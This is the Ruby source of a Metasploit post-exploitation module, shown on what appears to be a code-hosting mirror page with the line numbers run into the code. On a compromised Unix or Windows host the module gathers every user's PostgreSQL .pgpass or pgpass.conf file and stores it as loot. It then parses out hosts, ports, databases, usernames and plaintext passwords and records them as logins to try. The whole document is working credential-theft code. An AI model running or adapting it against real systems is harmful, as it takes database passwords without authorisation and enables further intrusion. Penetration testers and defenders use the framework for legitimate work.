Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/pgpass_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Multi Gather pgpass Credentials',15'Description' => %q{16This module will collect the contents of all users' .pgpass or pgpass.conf17file and parse them for credentials.18},19'License' => MSF_LICENSE,20'Author' => ['Zach Grace <zgrace[at]403labs.com>'],21'Platform' => %w[linux bsd unix osx win],22'SessionTypes' => %w[meterpreter shell]23)24)25end2627def run28print_status('Finding pgpass creds')2930files = []31case session.platform32when 'unix', 'linux', 'bsd', 'osx'33files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }34when 'windows'35if session.type != 'meterpreter'36print_error('Only meterpreter sessions are supported on windows hosts')37return38end3940grab_user_profiles.select do |user|41f = "#{user['AppData']}\\postgresql\\pgpass.conf"42if user['AppData'] && file?(f)43files << f44end45end46else47print_error("Unsupported platform #{session.platform}")48return49end5051if files.nil? || files.empty?52print_error('No users found with a .pgpass or pgpass.conf file')53return54end5556files.each do |f|57# Store the loot58print_good("Downloading #{f}")59pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")60print_good "Postgres credentials file saved to #{pgpass_path}"61# Store the creds62parse_creds(f)63end64end6566# Store the creds to67def parse_creds(f)68cred_table = Rex::Text::Table.new(69'Header' => 'Postgres Data',70'Indent' => 1,71'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']72)7374read_file(f).each_line do |entry|75# skip comments76next if entry.lstrip[0, 1] == '#'7778ip, port, db, user, pass = entry.chomp.split(/:/, 5)7980# Fix for some weirdness that happens with backslashes81p = ''82bs = false83pass.split(//).each do |c|84if c == '\\'85if bs == false86bs = true87p << c88else89# second backslash ignore90bs = false91end92elsif c == ':' && bs == true93p = "#{p[0, p.length - 1]}:"94else95p << c96end97end9899pass = p100101# Display the original before we try to report it, so the user102# sees whatever was actually in the file in case it's weird103cred_table << [ip, port, db, user, pass]104105if ip == '*' || ip == 'localhost'106ip = session.session_host107else108ip = Rex::Socket.getaddress(ip)109end110111# Use the default postgres port if the file had a wildcard112port = 5432 if port == '*'113114credential_data = {115origin_type: :session,116session_id: session_db_id,117post_reference_name: refname,118username: user,119private_data: pass,120private_type: :password,121realm_value: db,122realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,123workspace_id: myworkspace_id124}125126credential_core = create_credential(credential_data)127128login_data = {129address: ip,130port: port,131protocol: 'tcp',132service_name: 'postgres',133core: credential_core,134access_level: 'User',135status: Metasploit::Model::Login::Status::UNTRIED,136workspace_id: myworkspace_id137}138create_credential_login(login_data)139end140141if !cred_table.rows.empty?142print_line143print_line(cred_table.to_s)144end145end146end147148149